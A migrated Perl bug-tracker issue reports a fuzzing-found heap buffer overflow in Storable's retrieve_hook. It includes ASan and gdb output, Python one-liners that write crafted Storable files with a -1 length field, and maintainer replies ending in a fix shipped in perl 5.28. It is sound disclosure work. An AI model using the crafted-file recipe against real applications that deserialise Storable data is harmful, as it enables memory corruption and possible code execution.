Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Heap-buffer-over-flow in Storable.xs:retrieve_hook that could lead to RCE #16132

Closed
p5pRT opened this issue Aug 30, 2017 · 12 comments
Closed

Heap-buffer-over-flow in Storable.xs:retrieve_hook that could lead to RCE #16132

p5pRT opened this issue Aug 30, 2017 · 12 comments

Comments

@p5pRT
Copy link

p5pRT commented Aug 30, 2017

Migrated from rt.perl.org#131999 (status was 'resolved')

Searchable as RT131999$

@p5pRT
Copy link
Author

p5pRT commented Aug 30, 2017

From imdb95@gmail.com

Greetings,

I found another RCE bug in Storable (that differs from #131990), which
could lead to RCE.

**********Build Date & Hardware**********
Version​: Version​: the dev version (https://perl5.git.perl.org/perl.git)
manh@​manh-VirtualBox​:~/Fuzzing/afl/perl$ ./perl/perl -v

This is perl 5, version 27, subversion 4 (v5.27.4 (v5.27.3-14-gd2dccc0))
built for x86_64-linux

Copyright 1987-2017, Larry Wall

Perl may be copied only under the terms of either the Artistic License or
the
GNU General Public License, which may be found in the Perl 5 source kit.

Complete documentation for Perl, including FAQ lists, should be found on
this system using "man perl" or "perldoc perl". If you have access to the
Internet, point your browser at http​://www.perl.org/, the Perl Home Page.


OS​: Ubuntu 16.04 Desktop
manh@​manh-VirtualBox​:~/Fuzzing/afl/perl$ uname -a
Linux manh-VirtualBox 4.4.0-92-generic #115-Ubuntu SMP Thu Aug 10 09​:04​:33
UTC 2017 x86_64 x86_64 x86_64 GNU/Linux


Compilation​:
AFL_USE_ASAN=1 ./Configure -des -Dusedevel -DDEBUGGING -Dcc=afl-clang-fast
-Doptimize=-O0\ -g && AFL_USE_ASAN=1 make

**********Reproduce**********
manh@​manh-VirtualBox​:~/Fuzzing/afl/perl/perlembed$ ../perl/perl -e 'use
Storable;retrieve('crafthook')'

==26393==ERROR​: AddressSanitizer​: heap-buffer-overflow on address
0x60200001d2ba at pc 0x0000004c6424 bp 0x7fffffefcf20 sp 0x7fffffefc6d0
WRITE of size 207 at 0x60200001d2ba thread T0
  #0 0x4c6423 in __asan_memcpy
/scratch/llvm/clang-4/xenial/final/llvm.src/projects/compiler-rt/lib/asan/asan_interceptors.cc​:453​:3
  #1 0xcc7859 in PerlIOBase_read
/home/manh/Fuzzing/afl/perl/perl/perlio.c​:2095​:3
  #2 0xcdb3e4 in PerlIOBuf_read
/home/manh/Fuzzing/afl/perl/perl/perlio.c​:4079​:9
  #3 0xcc7037 in Perl_PerlIO_read
/home/manh/Fuzzing/afl/perl/perl/perlio.c​:1578​:6
  #4 0x7ffff3974466 in retrieve_hook
/home/manh/Fuzzing/afl/perl/perl/dist/Storable/Storable.xs​:4307​:3
  #5 0x7ffff3960636 in retrieve
/home/manh/Fuzzing/afl/perl/perl/dist/Storable/Storable.xs​:6222​:7
  #6 0x7ffff395cf82 in do_retrieve
/home/manh/Fuzzing/afl/perl/perl/dist/Storable/Storable.xs​:6406​:7
  #7 0x7ffff3928126 in pretrieve
/home/manh/Fuzzing/afl/perl/perl/dist/Storable/Storable.xs​:6511​:9
  #8 0x7ffff3928126 in XS_Storable_pretrieve
/home/manh/Fuzzing/afl/perl/perl/dist/Storable/Storable.xs​:6723
  #9 0x93cd07 in Perl_pp_entersub
/home/manh/Fuzzing/afl/perl/perl/pp_hot.c​:4424​:2
  #10 0x8396bc in Perl_runops_debug
/home/manh/Fuzzing/afl/perl/perl/dump.c​:2486​:23
  #11 0x5e0342 in S_run_body /home/manh/Fuzzing/afl/perl/perl/perl.c
  #12 0x5e0342 in perl_run /home/manh/Fuzzing/afl/perl/perl/perl.c​:2484
  #13 0x5095cb in main /home/manh/Fuzzing/afl/perl/perl/perlmain.c​:154​:9
  #14 0x7ffff6caf82f in __libc_start_main
(/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
  #15 0x435928 in _start (/home/manh/Fuzzing/afl/perl/perl/perl+0x435928)

0x60200001d2ba is located 0 bytes to the right of 10-byte region
[0x60200001d2b0,0x60200001d2ba)
allocated by thread T0 here​:
  #0 0x4dc62c in malloc
/scratch/llvm/clang-4/xenial/final/llvm.src/projects/compiler-rt/lib/asan/asan_malloc_linux.cc​:66​:3
  #1 0x83ed2b in Perl_safesysmalloc
/home/manh/Fuzzing/afl/perl/perl/util.c​:153​:21

SUMMARY​: AddressSanitizer​: heap-buffer-overflow
/scratch/llvm/clang-4/xenial/final/llvm.src/projects/compiler-rt/lib/asan/asan_interceptors.cc​:453​:3
in __asan_memcpy
Shadow bytes around the buggy address​:
  0x0c047fffba00​: fa fa 00 02 fa fa 00 02 fa fa 00 02 fa fa 00 02
  0x0c047fffba10​: fa fa 00 02 fa fa 00 02 fa fa 00 02 fa fa 00 02
  0x0c047fffba20​: fa fa 00 02 fa fa fd fd fa fa fd fd fa fa fd fd
  0x0c047fffba30​: fa fa fd fd fa fa fd fd fa fa 00 03 fa fa 00 fa
  0x0c047fffba40​: fa fa 00 00 fa fa 02 fa fa fa 00 02 fa fa 00 02
=>0x0c047fffba50​: fa fa 00 02 fa fa 00[02]fa fa fa fa fa fa fa fa
  0x0c047fffba60​: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c047fffba70​: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c047fffba80​: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c047fffba90​: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c047fffbaa0​: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes)​:
  Addressable​: 00
  Partially addressable​: 01 02 03 04 05 06 07
  Heap left redzone​: fa
  Freed heap region​: fd
  Stack left redzone​: f1
  Stack mid redzone​: f2
  Stack right redzone​: f3
  Stack after return​: f5
  Stack use after scope​: f8
  Global redzone​: f9
  Global init order​: f6
  Poisoned by user​: f7
  Container overflow​: fc
  Array cookie​: ac
  Intra object redzone​: bb
  ASan internal​: fe
  Left alloca redzone​: ca
  Right alloca redzone​: cb
==26393==ABORTING

**********Analysis**********
This bug is similar to #131990, in which NEWSV is called with len = -1.
At Storable.xs​:4305 in retrieve_hook​:
  frozen = NEWSV(10002, len2);
I can control the len2 by create a crafted file as following​:
manh@​manh-VirtualBox​:~/Fuzzing/afl/perl/perlembed$ python -c
"open('crafthook',
'wb').write('pst0\x04\n\x0812345678\x04\x08\x08\x08\x13\x98\x01A
*\xff\xff\xff\xff*
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA')"
and pass it as parameter for retrieve​:
manh@​manh-VirtualBox​:~/Fuzzing/afl/perl/perlembed$ perl -e 'use Storable;
retrieve('crafthook')'

As in #131990, the function newSV calls sv_grow(sv, len + 1) -> sv_grow(sv,
0) -> a valid sv is created, but its lenght < len.
Then at Storable.xs​:4307​:
  SAFEREAD(SvPVX(frozen), len2, frozen);
  => Trigger heap-buffer-overflow

Breakpoint 1, retrieve_hook (cxt=0xa9a350, cname=0x0) at Storable.xs​:4305
4305 frozen = NEWSV(10002, len2);
(gdb) n
4306 if (len2) {
(gdb) n
4307 SAFEREAD(SvPVX(frozen), len2, frozen);
(gdb)
4550 }
(gdb)
retrieve (cxt=0xa9a350, cname=0x0) at Storable.xs​:6223
6223 if (!sv)
(gdb) p sv
$3 = (SV *) 0x0
(gdb)

Because SAFEREAD reads directly the crafted data, we can easily control the
heap. I created another crafted file (crafthook2), and checked what would
happen if retrieve failed​:

manh@​manh-VirtualBox​:~/Fuzzing/afl/perl/perlembed$ python -c
"open('crafthook2',
'wb').write('pst0\x04\n\x0812345678\x04\x08\x08\x08\x13\x98\x01A
*\xff\xff\xff\xff*A')"

This crafthook2 also has the invalid len -1, but the data for it is just
"A", so that it won't overwrite the heap. Then​:
manh@​manh-VirtualBox​:~/Fuzzing/afl/perl/perlembed$ ../perl/perl -e 'use
Storable; retrieve('crafthook2'); print "Everythings alright\n"'
Everythings alright
manh@​manh-VirtualBox​:~/Fuzzing/afl/perl/perlembed$
=> It means we can overwrite the heap in some way, so that the program
would pass retrieve without any SEGFAULT => Potential RCE!!!

My default perl v5.22.1 also suffers from this bug. I guess other perl
versions should do, too.

Looking forward for your reply,
Manh

@p5pRT
Copy link
Author

p5pRT commented Aug 30, 2017

From imdb95@gmail.com

crafthook

@p5pRT
Copy link
Author

p5pRT commented Aug 30, 2017

From imdb95@gmail.com

crafthook2

@p5pRT
Copy link
Author

p5pRT commented Oct 11, 2017

From imdb95@gmail.com

Hello,
I haven't received your reply for this please?

On Thu, Aug 31, 2017 at 2​:17 AM, Manh Nguyen <imdb95@​gmail.com> wrote​:

Greetings,

I found another RCE bug in Storable (that differs from #131990), which
could lead to RCE.

**********Build Date & Hardware**********
Version​: Version​: the dev version (https://perl5.git.perl.org/perl.git)
manh@​manh-VirtualBox​:~/Fuzzing/afl/perl$ ./perl/perl -v

This is perl 5, version 27, subversion 4 (v5.27.4 (v5.27.3-14-gd2dccc0))
built for x86_64-linux

Copyright 1987-2017, Larry Wall

Perl may be copied only under the terms of either the Artistic License or
the
GNU General Public License, which may be found in the Perl 5 source kit.

Complete documentation for Perl, including FAQ lists, should be found on
this system using "man perl" or "perldoc perl". If you have access to the
Internet, point your browser at http​://www.perl.org/, the Perl Home Page.
--------------
OS​: Ubuntu 16.04 Desktop
manh@​manh-VirtualBox​:~/Fuzzing/afl/perl$ uname -a
Linux manh-VirtualBox 4.4.0-92-generic #115-Ubuntu SMP Thu Aug 10 09​:04​:33
UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
--------------
Compilation​:
AFL_USE_ASAN=1 ./Configure -des -Dusedevel -DDEBUGGING -Dcc=afl-clang-fast
-Doptimize=-O0\ -g && AFL_USE_ASAN=1 make

**********Reproduce**********
manh@​manh-VirtualBox​:~/Fuzzing/afl/perl/perlembed$ ../perl/perl -e 'use
Storable;retrieve('crafthook')'

==26393==ERROR​: AddressSanitizer​: heap-buffer-overflow on address
0x60200001d2ba at pc 0x0000004c6424 bp 0x7fffffefcf20 sp 0x7fffffefc6d0
WRITE of size 207 at 0x60200001d2ba thread T0
#0 0x4c6423 in __asan_memcpy /scratch/llvm/clang-4/xenial/
final/llvm.src/projects/compiler-rt/lib/asan/asan_interceptors.cc​:453​:3
#1 0xcc7859 in PerlIOBase_read /home/manh/Fuzzing/afl/perl/
perl/perlio.c​:2095​:3
#2 0xcdb3e4 in PerlIOBuf_read /home/manh/Fuzzing/afl/perl/
perl/perlio.c​:4079​:9
#3 0xcc7037 in Perl_PerlIO_read /home/manh/Fuzzing/afl/perl/
perl/perlio.c​:1578​:6
#4 0x7ffff3974466 in retrieve_hook /home/manh/Fuzzing/afl/perl/
perl/dist/Storable/Storable.xs​:4307​:3
#5 0x7ffff3960636 in retrieve /home/manh/Fuzzing/afl/perl/
perl/dist/Storable/Storable.xs​:6222​:7
#6 0x7ffff395cf82 in do_retrieve /home/manh/Fuzzing/afl/perl/
perl/dist/Storable/Storable.xs​:6406​:7
#7 0x7ffff3928126 in pretrieve /home/manh/Fuzzing/afl/perl/
perl/dist/Storable/Storable.xs​:6511​:9
#8 0x7ffff3928126 in XS_Storable_pretrieve /home/manh/Fuzzing/afl/perl/
perl/dist/Storable/Storable.xs​:6723
#9 0x93cd07 in Perl_pp_entersub /home/manh/Fuzzing/afl/perl/
perl/pp_hot.c​:4424​:2
#10 0x8396bc in Perl_runops_debug /home/manh/Fuzzing/afl/perl/
perl/dump.c​:2486​:23
#11 0x5e0342 in S_run_body /home/manh/Fuzzing/afl/perl/perl/perl.c
#12 0x5e0342 in perl_run /home/manh/Fuzzing/afl/perl/perl/perl.c​:2484
#13 0x5095cb in main /home/manh/Fuzzing/afl/perl/perl/perlmain.c​:154​:9
#14 0x7ffff6caf82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.
so.6+0x2082f)
#15 0x435928 in _start (/home/manh/Fuzzing/afl/perl/
perl/perl+0x435928)

0x60200001d2ba is located 0 bytes to the right of 10-byte region
[0x60200001d2b0,0x60200001d2ba)
allocated by thread T0 here​:
#0 0x4dc62c in malloc /scratch/llvm/clang-4/xenial/
final/llvm.src/projects/compiler-rt/lib/asan/asan_malloc_linux.cc​:66​:3
#1 0x83ed2b in Perl_safesysmalloc /home/manh/Fuzzing/afl/perl/
perl/util.c​:153​:21

SUMMARY​: AddressSanitizer​: heap-buffer-overflow
/scratch/llvm/clang-4/xenial/final/llvm.src/projects/
compiler-rt/lib/asan/asan_interceptors.cc​:453​:3 in __asan_memcpy
Shadow bytes around the buggy address​:
0x0c047fffba00​: fa fa 00 02 fa fa 00 02 fa fa 00 02 fa fa 00 02
0x0c047fffba10​: fa fa 00 02 fa fa 00 02 fa fa 00 02 fa fa 00 02
0x0c047fffba20​: fa fa 00 02 fa fa fd fd fa fa fd fd fa fa fd fd
0x0c047fffba30​: fa fa fd fd fa fa fd fd fa fa 00 03 fa fa 00 fa
0x0c047fffba40​: fa fa 00 00 fa fa 02 fa fa fa 00 02 fa fa 00 02
=>0x0c047fffba50​: fa fa 00 02 fa fa 00[02]fa fa fa fa fa fa fa fa
0x0c047fffba60​: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fffba70​: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fffba80​: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fffba90​: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fffbaa0​: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes)​:
Addressable​: 00
Partially addressable​: 01 02 03 04 05 06 07
Heap left redzone​: fa
Freed heap region​: fd
Stack left redzone​: f1
Stack mid redzone​: f2
Stack right redzone​: f3
Stack after return​: f5
Stack use after scope​: f8
Global redzone​: f9
Global init order​: f6
Poisoned by user​: f7
Container overflow​: fc
Array cookie​: ac
Intra object redzone​: bb
ASan internal​: fe
Left alloca redzone​: ca
Right alloca redzone​: cb
==26393==ABORTING

**********Analysis**********
This bug is similar to #131990, in which NEWSV is called with len = -1.
At Storable.xs​:4305 in retrieve_hook​:
frozen = NEWSV(10002, len2);
I can control the len2 by create a crafted file as following​:
manh@​manh-VirtualBox​:~/Fuzzing/afl/perl/perlembed$ python -c
"open('crafthook', 'wb').write('pst0\x04\n\x0812345678\x04\x08\x08\x08\
x13\x98\x01A*\xff\xff\xff\xff*AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA')"
and pass it as parameter for retrieve​:
manh@​manh-VirtualBox​:~/Fuzzing/afl/perl/perlembed$ perl -e 'use Storable;
retrieve('crafthook')'

As in #131990, the function newSV calls sv_grow(sv, len + 1) ->
sv_grow(sv, 0) -> a valid sv is created, but its lenght < len.
Then at Storable.xs​:4307​:
SAFEREAD(SvPVX(frozen), len2, frozen);
=> Trigger heap-buffer-overflow

Breakpoint 1, retrieve_hook (cxt=0xa9a350, cname=0x0) at Storable.xs​:4305
4305 frozen = NEWSV(10002, len2);
(gdb) n
4306 if (len2) {
(gdb) n
4307 SAFEREAD(SvPVX(frozen), len2, frozen);
(gdb)
4550 }
(gdb)
retrieve (cxt=0xa9a350, cname=0x0) at Storable.xs​:6223
6223 if (!sv)
(gdb) p sv
$3 = (SV *) 0x0
(gdb)

Because SAFEREAD reads directly the crafted data, we can easily control
the heap. I created another crafted file (crafthook2), and checked what
would happen if retrieve failed​:

manh@​manh-VirtualBox​:~/Fuzzing/afl/perl/perlembed$ python -c
"open('crafthook2', 'wb').write('pst0\x04\n\x0812345678\x04\x08\x08\x08\
x13\x98\x01A*\xff\xff\xff\xff*A')"

This crafthook2 also has the invalid len -1, but the data for it is just
"A", so that it won't overwrite the heap. Then​:
manh@​manh-VirtualBox​:~/Fuzzing/afl/perl/perlembed$ ../perl/perl -e 'use
Storable; retrieve('crafthook2'); print "Everythings alright\n"'
Everythings alright
manh@​manh-VirtualBox​:~/Fuzzing/afl/perl/perlembed$
=> It means we can overwrite the heap in some way, so that the program
would pass retrieve without any SEGFAULT => Potential RCE!!!

My default perl v5.22.1 also suffers from this bug. I guess other perl
versions should do, too.

Looking forward for your reply,
Manh

@p5pRT
Copy link
Author

p5pRT commented Oct 11, 2017

From @tonycoz

On Tue, Oct 10, 2017 at 08​:48​:39PM -0700, Nguyen Duc Manh wrote​:

# New Ticket Created by Nguyen Duc Manh
# Please include the string​: [perl #132264]
# in the subject line of all future correspondence about this issue.
# <URL​: https://rt-archive.perl.org/perl5/Ticket/Display.html?id=132264 >

Hello,
I haven't received your reply for this please?

Sorry for not replying earlier, I've been busy with another project
and I guess everyone else is busy too.

We don't support feeding arbitrary or untrusted storable dumps to
Storable.

Feeding untrusted data to Storable can lead to much simpler and worse
vulnerabilities.

Tony

@p5pRT
Copy link
Author

p5pRT commented Oct 11, 2017

The RT System itself - Status changed from 'new' to 'open'

@p5pRT
Copy link
Author

p5pRT commented Oct 11, 2017

From imdb95@gmail.com

I see. For example, faking class name would lead to executing DESTROY
function of that class. However, useful DESTROYs are not always available,
depending on packages that are being loaded.
Could you give me some more examples of RCE with untrusted data to Storable
which are more reliable?

On Wed, Oct 11, 2017 at 11​:27 AM, Tony Cook via RT <
perl5-security-report-followup@​perl.org> wrote​:

On Tue, Oct 10, 2017 at 08​:48​:39PM -0700, Nguyen Duc Manh wrote​:

# New Ticket Created by Nguyen Duc Manh
# Please include the string​: [perl #132264]
# in the subject line of all future correspondence about this issue.
# <URL​: https://rt-archive.perl.org/perl5/Ticket/Display.html?id=132264 >

Hello,
I haven't received your reply for this please?

Sorry for not replying earlier, I've been busy with another project
and I guess everyone else is busy too.

We don't support feeding arbitrary or untrusted storable dumps to
Storable.

Feeding untrusted data to Storable can lead to much simpler and worse
vulnerabilities.

Tony

@p5pRT
Copy link
Author

p5pRT commented Nov 29, 2017

From @iabyn

On Wed, Oct 11, 2017 at 11​:33​:08AM +0700, Manh Nguyen wrote​:

I see. For example, faking class name would lead to executing DESTROY
function of that class. However, useful DESTROYs are not always available,
depending on packages that are being loaded.
Could you give me some more examples of RCE with untrusted data to Storable
which are more reliable?

I intend to close this ticket. Here is pod from Storable.pm​:

=head1 SECURITY WARNING

B<Do not accept Storable documents from untrusted sources!>

Some features of Storable can lead to security vulnerabilities if you
accept Storable documents from untrusted sources. Most obviously, the
optional (off by default) CODE reference serialization feature allows
transfer of code to the deserializing process. Furthermore, any
serialized object will cause Storable to helpfully load the module
corresponding to the class of the object in the deserializing module.
For manipulated module names, this can load almost arbitrary code.
Finally, the deserialized object's destructors will be invoked when
the objects get destroyed in the deserializing process. Maliciously
crafted Storable documents may put such objects in the value of
a hash key that is overridden by another key/value pair in the
same hash, thus causing immediate destructor execution.

In a future version of Storable, we intend to provide options to disable
loading modules for classes and to disable deserializing objects
altogether. I<Nonetheless, Storable deserializing documents from
untrusted sources is expected to have other, yet undiscovered,
security concerns such as allowing an attacker to cause the deserializer
to crash hard.>

B<Therefore, let me repeat​: Do not accept Storable documents from
untrusted sources!>

If your application requires accepting data from untrusted sources, you
are best off with a less powerful and more-likely safe serialization format
and implementation. If your data is sufficiently simple, JSON is a good
choice and offers maximum interoperability.

--
If life gives you lemons, you'll probably develop a citric acid allergy.

@p5pRT
Copy link
Author

p5pRT commented Nov 29, 2017

The RT System itself - Status changed from 'new' to 'open'

@p5pRT
Copy link
Author

p5pRT commented Dec 13, 2017

From @tonycoz

On Tue, 10 Oct 2017 21​:27​:59 -0700, tonyc wrote​:

On Tue, Oct 10, 2017 at 08​:48​:39PM -0700, Nguyen Duc Manh wrote​:

# New Ticket Created by Nguyen Duc Manh
# Please include the string​: [perl #132264]
# in the subject line of all future correspondence about this issue.
# <URL​: https://rt-archive.perl.org/perl5/Ticket/Display.html?id=132264 >

Hello,
I haven't received your reply for this please?

Sorry for not replying earlier, I've been busy with another project
and I guess everyone else is busy too.

We don't support feeding arbitrary or untrusted storable dumps to
Storable.

Feeding untrusted data to Storable can lead to much simpler and worse
vulnerabilities.

This isn't a security issue, but it is a bug.

I've moved it to the public queue.

I have a fix for it in my working Storable branch.

Tony

@p5pRT
Copy link
Author

p5pRT commented Aug 6, 2019

From @tonycoz

On Wed, 13 Dec 2017 14​:47​:23 -0800, tonyc wrote​:

On Tue, 10 Oct 2017 21​:27​:59 -0700, tonyc wrote​:

On Tue, Oct 10, 2017 at 08​:48​:39PM -0700, Nguyen Duc Manh wrote​:

# New Ticket Created by Nguyen Duc Manh
# Please include the string​: [perl #132264]
# in the subject line of all future correspondence about this issue.
# <URL​: https://rt-archive.perl.org/perl5/Ticket/Display.html?id=132264 >

Hello,
I haven't received your reply for this please?

Sorry for not replying earlier, I've been busy with another project
and I guess everyone else is busy too.

We don't support feeding arbitrary or untrusted storable dumps to
Storable.

Feeding untrusted data to Storable can lead to much simpler and worse
vulnerabilities.

This isn't a security issue, but it is a bug.

I've moved it to the public queue.

I have a fix for it in my working Storable branch.

This was merged into blead as 0079d24 and included in perl 5.28.

Thanks for the report.

Closing.

Tony

@p5pRT
Copy link
Author

p5pRT commented Aug 6, 2019

@tonycoz - Status changed from 'open' to 'resolved'

@p5pRT p5pRT closed this as completed Aug 6, 2019
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant